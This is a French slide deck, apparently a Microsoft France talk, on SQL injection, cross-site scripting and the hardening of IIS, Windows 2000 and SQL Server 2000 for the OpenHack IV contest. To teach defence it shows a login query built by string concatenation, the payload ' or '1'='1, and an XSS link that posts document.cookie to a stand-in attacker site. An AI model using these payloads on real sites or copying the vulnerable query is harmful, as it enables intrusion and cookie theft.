Openhack IV : sécurité SQL Server et application Web

1. Openhack IV : sécurité SQL Server et application Web Cyril VOISIN Chef de programme Sécurité Microsoft France

2. Sommaire • Introduction : notions utiles • Comprendre les attaques d’injection SQL • Comprendre les attaques de Cross Site Scripting • L’exemple OpenHack IV • Le principe • L’architecture • Les composants mis en jeu • Les bonnes pratiques utilisées pour OpenHack IV • IIS 5 • Windows 2000 Server • Stratégies IPsec • Application • SQL Server 2000 • Compléments sur la sécurité de SQL Server • Le ver Slammer et ses conséquences • Recommandations de sécurisation de SQL Server 2000 • Conclusion

3. Attaque : injection SQL

4. Injection SQL if (isPasswordOK(Request.form("name"),Request.form("pwd"))) { Response.write("Authenticated!"); // Do stuff } else { Response.write("Access Denied"); }

5. function isPasswordOK(strName, strPwd) { var fAllowLogon = false; var oConn = new ActiveXObject("ADODB.Connection"); var strConnection="Data Source=c:\\auth\\auth.mdb;" oConn.Open(strConnection); var strSQL = "SELECT count(*) FROM client WHERE " + "name='" + strName + "' " + " and pwd='" + strPwd + "'"; var oRS = new ActiveXObject("ADODB.RecordSet"); oRS.Open(strSQL,oConn); fAllowLogon = (oRS(0).Value > 0) ? true : false; oRS.Close(); delete oRS; oConn.Close(); delete oConn; return fAllowLogon; } Injection SQL

6. Où est le problème ? Gentil Username: cyril Password: &y-)4Hi=Qw8 SELECT count(*) FROM client WHERE name=‘cyril' and pwd='&y-)4Hi=Qw8' Méchant Username: blabla' or '1' = '1 Password: blabla' or '1' = '1 SELECT count(*) FROM client WHERE name='b' or '1'='1' and pwd='b' or '1'='1'

7. Solutions D’une manière générale, il ne faut jamais faire confiance à ce qu’a entré l’utilisateur • Ne pas utiliser la concaténation de chaîne • Utiliser des procédures stockées • Autre possibilité : requêtes paramétrées • D’où l’importance d’avoir des développeurs sensibilisés et formés sur le sujet

8. Attaque : Cross Site Scripting (XSS)

9. Cross Site Scripting (XSS) • Vulnérabilité très courante • Une faille côté serveur sert à compromettre le client • L’erreur consiste simplement à reproduire les entrées sans les valider ! • Le contenu d’une page Web est traité d’après sa source (par ex: un serveur Web a le droit de réclamer l’accès à son cookie mais pas un autre serveur) • Le but est d’ici de faire renvoyer au serveur une page Web contenant un contenu défini par l’attaquant • Comment ? En utilisant un problème sur le serveur Web qui ne filtre pas correctement les entrées des utilisateurs : • Lien qui reproduit un de ses paramètres dans son rendu • Page qui contient des données stockées dans une base de données non traitées • Formulaire…

10. Barry, ‘Le Méchant’ Marie, ‘L’innocente’ Le piège Barry veut voler le cookie de Marie pour le sitepleindetrous.com. XSS en Action scénario avec un lien Les acteurs

11. Possède le site mechant.com XSS en Action bienvenue.asp Bonjour <%= request.querystring(‘name’)%>

12. <a href=http://www.pleindetrous.com/bienvenue.asp?name=<FORM action=http://www.mechant.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a> XSS en Action

13. OpenHack IV Description résumée de la configuration mise en œuvre par Microsoft pour remporter le 4ème concours OpenHack

14. OpenHack IV • Concours organisé par eWeek (22 octobre au 8 novembre 2002) • Sécurité d’une application d’entreprise exposée sur le Web • Les fournisseurs mirent en place une solution à partir de l’application Web exemple fournie par eWeek (site Web eWeek eXcellence Awards) • Un appel fut alors lancé pour venir compromettre les solutions ! • Les brèches autorisées (et récompensées) : cross-site scripting, divulgation de code source de page Web dynamique, défiguration de page Web, envoi réussi de commandes SQL malicieuses aux bases de données, et vol des données de cartes de crédit dans les bases de données. • La solution Microsoft n’a pas été compromise malgré les 82500 tentatives d’attaques

15. Composants mis en jeu • Application Web • IIS 5.0 • Windows 2000 Advanced Server • Stratégies IPsec • Gestion et surveillance à distance • SQL Server 2000 • Mots de passe • Défense en profondeur (stratégie de défense par couches successives) • Remarque: aucun pare-feu utilisé!

16. Architecture routeur Administrateur SQL Server IIS RRAS Terminal Services

17. IIS 5.0 • Dernier Service Pack + tous les correctifs de sécurité appliqués • Changement du répertoire d’IIS de C:\inetpub\ vers un autre volume (cf attaque ..\) • Exécution de l’outil (gratuit) IIS Lockdown en mode serveur Web statique pour réduire la surface d’attaque et supprimer le support de types de contenu dynamique • Installation de .NET, ses correctifs, MDAC

18. IIS 5.0 • Exceptés les .aspx, quelques types d’images et de feuilles de style, toutes les extensions redirigées vers 404.dll d’IIS Lockdown • Exécution du code ASP.NET avec un compte avec peu de privilèges (ASPNET) • Ajout du compte ASPNET au groupe « Web application group » d’IIS Lockdown pour lui interdire l’exécution des exécutables en ligne de commande non autorisés en cas de brèche • Autorisation d’exécution du compilateur C# et du convertisseur de ressources

19. IIS 5.0 • URLScan 2.5 • Filtre ISAPI pour IIS, configurable, qui bloque les URL qui ressemblent à des attaques • Autorisation explicite des extensions gérées, blocage de tout le reste • Blocage des requêtes trop longues • Permissions sur les répertoires de contenu Web (lecture pour ASPNET, lecture seule pour utilisateur anonyme) • Restrictions d’accès sur les répertoires de log d’IIS et d’URLScan (SYSTEM et Administrators seulement)

20. Windows 2000 Server • Dernier SP + tous les correctifs • Désactivation des services inutiles (Messenger, Alerter, Clipbook,…) • Suppression des LMHashes • Pas d’exemption IPsec (port source 88) • Désactivation du routage IP par la source • Réglage anti SYN-flood

21. Stratégies IPsec • Configurées localement • Avantages • Déclaration explicite du trafic nécessaire pour utiliser et administrer l’application • Authentification des communications entre systèmes par certificats • Authentification et chiffrement du trafic d’administration • Blocage de tout trafic non explicitement autorisé (règle de refus par défaut)

22. Stratégies IPsec • Une stratégie a 3 composants : • Le filtre qui identifie le trafic manipulé • L’action qui doit être prise quand un tel trafic est trouvé par le filtre • Le mécanisme d’authentification utilisé pour établir une association de sécurité

23. Stratégies IPsec • Cartographier le trafic • Serveur Web doit communiquer avec la base de données sur le serveur SQL Server • Serveur RRAS doit accepter le VPN en entrée pour les administrateurs et donner accès au segment réseau d’administration • Serveur d’administration doit accepter des sessions Terminal Server depuis le serveur RRAS, permettre l’accès et la copie de fichiers • Tous les systèmes doivent permettre sur leur interface du réseau privé l’ouverture d’une session Terminal Server depuis le serveur d’administration • Tous les systèmes doivent pouvoir accéder aux partages de fichiers du serveur d’administration • Déterminer les d’actions : • Bloquer • Autoriser • Authentifier et signer • Authentifier, signer et chiffrer

24. Stratégies IPsec • Les filtres • Blocage par défaut (tout sauf ce qui est autorisé) • Permission du trafic Web à destination du serveur Web, quelle que soit la source • Remarques : • pour émettre les certificats, une autorité de certification autonome a été installée puis mise hors ligne (Certificate Services) • La signature évite que les paquets puissent être modifiés alors qu’ils transitent vers les systèmes (intégrité) • Le chiffrement a été utilisé pour éviter les écoutes des manipulations administratives (confidentialité)

25. Stratégies IPsec • Les règles sont évaluées des plus spécifiques aux moins spécifiques • Sur chaque système, les 2 règles suivantes étaient installées : • Bloquer tout le trafic IP • Bloquer tout le trafic ICMP • Ensuite les règles spécifiques étaient ajoutées

26. Stratégie IPsec routeur Permit 443 Administrateur L2TP+IPsec IIS SQL Server SHA1/3DES 445, 3389 SHA1 2443 RRAS Terminal Services Permit 445, 3389

27. Application • Authentification par formulaire (web.config), transmission en SSL • Validation des entrées (expressions régulières) pour n’accepter que ce qui est valide • Attention : l’approche consistant à rejeter ce qui est interdit est déconseillée • Stockage de secrets (chiffrement)

28. Application • Chaîne de connexion • Non codée en dur dans l’application !! • Utilisation de l’authentification intégrée Windows • La chaîne ne contient alors que le nom du du serveur et celui de la base de données • Chiffrée en utilisant les fonctions de l’API de protection de données (DPAPI) • CryptProtectData et CryptUnprotectData • Intérêt : chiffre des secrets sans avoir à gérer ou stocker des clés • Stockée dans le registre • Permission sur cette clé accordée • Aux administrateurs • Au processus ASPNET

29. OpenHack - SQL Server • Machine physique isolée • Interaction avec la base de données uniquement via des procédures stockées • Typage fort des paramètres. Ceux-ci sont vérifiés avant tout autre chose • Toutes les données qui seront renvoyées à l’utilisateur sont encodées en HTML (but : éviter une attaque de cross site scripting)

30. OpenHack – SQL Server • Réduction de la surface d’attaque • Logiciels installés • Authentification • Compte de service • Protocoles de communication • Permissions de l’application

31. OpenHack – SQL Server • Logiciels • Service pack 2 + les derniers correctifs de sécurité (Remarque : à l’époque le SP3 n’était pas disponible) • Non installés • Outils de mise à jour (Upgrade tools) • Symboles de débogage • Support de la réplication • Documentation en ligne • Outils de développement • Désactivés • Msdtc • Agent SQL Server • Microsoft search

32. OpenHack – SQL Server • Modification de la stratégie de sécurité locale pour n’autoriser que NTLMv2 • Configuration en mode intégré Windows seulement • Pas besoin de stocker un identifiant et son mot de passe sur le serveur Web (y compris SA) • Mise en place d’un mot de passe SA très très complexe • Au cas où quelqu’un changerait “par erreur” le mode d’authentification • Mise en place de l’audit des “Échecs” • Preuves des tentatives d’attaques • Mode paranoïaque : activer les “Succès” aussi au cas où le pirate ait deviné le mot de passe…

33. OpenHack – SQL Server • Compte de service • Par défaut : LocalSystem • Bien trop permissif ! • Création d’un compte local non privilégié pour le service SQL • Mot de passe fort • Que l’utilisateur ne peut pas changer • Aucun accès à Terminal Server • Si l’accès au réseau avait été nécessaire, il aurait alors fallu utiliser un compte non privilégié du domaine

34. OpenHack – SQL Server • Protocoles de communication • Dans l’utilitaire réseau serveur (server network utility) : cacher SQL Server des broadcasts de clients • Enlever le protocole canaux nommés (on a besoin uniquement de TCP/IP) • Suppression des bases exemples (Northwind, Pubs) • Création de la base de l’application • Accorder au compte de l’application les permissions sur les procédures stockées plutôt que sur les tables elles-même • Interdire l’exécution de requêtes ad hoc • S’assurer que ce compte n’a pas de permissions ailleurs dans SQL Server

35. Compléments sur la sécurisation de SQL Server 2000 : recommandations générales

36. Recommandations • Installer le dernier Service Pack (SP3a) • Évaluer le niveau de la configuration avec MBSA : • Service Packs et mises à jour manquants • Vérifier si le groupe Administrateurs est répertorié en tant que membre du rôle Sysadmin • Vérifier si CmdExec est limité exclusivement à Sysadmin • Vérifier si SQL Server est exécuté sur un contrôleur de domaine • Vérifier si le mot de passe du compte d'administrateur système (sa) est exposé • Vérification des autorisations d'accès des dossiers d'installation de SQL Server • Vérifier si le compte Invité a accès aux bases de données • Vérifier si le groupe Tout le monde a accès aux clés du Registre SQL Server • Vérifier si les comptes de service SQL Server sont membres du groupe Administrateurs local • Vérifier si les comptes SQL Server utilise des mots de passe simples ou vides • Vérification du mode d'authentification de SQL Server • Vérification du nombre de membres du rôle Sysadmin

37. Recommandations • Utiliser l’authentification intégrée Windows • Dans Enterprise Manager : • Expand a server group. • Right-click a server, and then click Properties. • On the Security tab, under Authentication, click Windows only. • Isoler le serveur (de manière logique et physique) et le sauvegarder régulièrement • Mettre un mot de passe fort sur sa • Expand a server group, and then expand a server. • Expand Security, and then click Logins. • In the details pane, right-click SA, and then click Properties. • In the Password box, type the new password.

38. Recommandations • Limiter les privilèges des services de SQL Server (le faire via les outils de SQL Server) • Désactiver les ports de SQL Server sur votre pare-feu • TCP/1433 • UDP/1434 • N’utiliser que des partitions NTFS (permettent l’utilisation de permissions et le chiffrement EFS) • Supprimer ou sécuriser les anciens fichiers d’installation (utiliser l’outil killpwd)

39. Recommandations • Auditer les connexions à SQL Server • To enable auditing of failed connections with Enterprise Manager in SQL Server: • Expand a server group. • Right-click a server, and then click Properties. • On the Security tab, under Audit Level, click Failure.

40. Compléments sur SQL Server 2000 : le ver Slammer et ses conséquences

41. Slammer : conséquences Le ver Slammer était le plus rapide de l’histoire, il doublait de taille toutes les 8.5 sec, ce qui est 250 fois plus rapide que « Code Red ». Il a infecté 90 % des systèmes vulnérables en 10 min. Au moins 75 000 serveurs ont été infectés: vols annulés, élections perturbés, distributeurs d’argent arrêtés , etc. Plus d’informations: http://www.microsoft.com/security/slammer.asp http://www.caida.org/analysis/security/sapphire/

42. 24 janvier 2003 : Slammer • Version initiale sans charge • Exploite une vulnérabilité de SQL Server 2000 et MSDE 2000 dont la correction était disponible depuis juillet 2002 (et incluse dans le SP3 sorti quelques jours avant l’attaque, incluant les améliorations du Security Push)

43. 24 janvier 2003 : Slammer • Actions • 3 outils spécifiques développés en 3 jours • Correctif avec installateur automatisé • Sortie du SP3a • Contenu identique au SP3 avec quelques améliorations (donc pas la peine de le passer si SP3 déjà installé, mais préférable pour de nouvelles installations) • Rappel : le SP3 est la première version à avoir suivi le processus de développement Trustworthy Computing • Réduit la surface d’attaque : pas d’écoute sur le port UDP 1434 • Modifications dans la fourniture de SQL Server 2000 et MSDE 2000

44. Critique Important Modéré Faible SQL Server 2000 SP3 : intérêt du processus de développement Trustworthy Computing ? Bulletins: 2002 – 12 bulletins, 4 critiques 2003 – 1 Service Pack, 2 bulletins, 0 critique 2004* – 1 bulletin, 0 critique (* début avril)

45. Conclusion • Même si toutes les étapes vues ne s’appliquent pas directement à toute solution Web, la démarche peut être retenue et ré-utilisée : • Planifier la sécurité dès le début (y compris la gestion des correctifs de sécurité) • Toujours installer les derniers Service Pack / mises à jour • Toujours utiliser des mots de passe complexes • Réduire la surface d’attaque en désactivant tout ce qui n’est pas nécessaire • Appliquer le principe du moindre privilège • Anticiper les imperfections et mettre en place une défense en profondeur pour réduire leurs impacts • Pour IIS5, utiliser IIS Lockdown et URLScan • Valider toutes les données en entrée • Utiliser des requêtes paramétrées plutôt que de générer des requêtes dynamiques

47. Références • Cette présentation est tirée en partie de l’article MSDN :http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/openhack.asp • Securing SQL Server 2000http://www.microsoft.com/sql/techinfo/administration/2000/security/securingsqlserver.asp • Livre blanc Microsoft SQL Server 2000 Securityhttp://www.microsoft.com/sql/techinfo/administration/2000/2000SecurityWP.doc • Config C2http://www.microsoft.com/france/sql/utilisez/infotech/info/info.asp?mar=/france/sql/info/sql2000_c2securityguide.html&xmlpath=/france/technet/Produits/sql/admin.xml&rang=2 • Le site Web de Microsoft France sur la sécurité : http://www.microsoft.com/france/securite • Le newsgroup en français : news://microsoft.public.fr.securite

48. MS Baseline Security Analyser (MBSA)

49. Url scan Serveur WebIIS Pare-feu ISA Server Client Assistant de verrouillage IIS • IIS Lockdown • Durcit la configuration d’IIS (4 ou 5) • Désactive les services inutiles • Restreint l’accès aux commandes système • URLScan • Filtre ISAPI pour IIS4/5, configurable, qui bloque les URL qui ressemblent à des attaques • ISA Server : parefeu (dont passerelle applicative)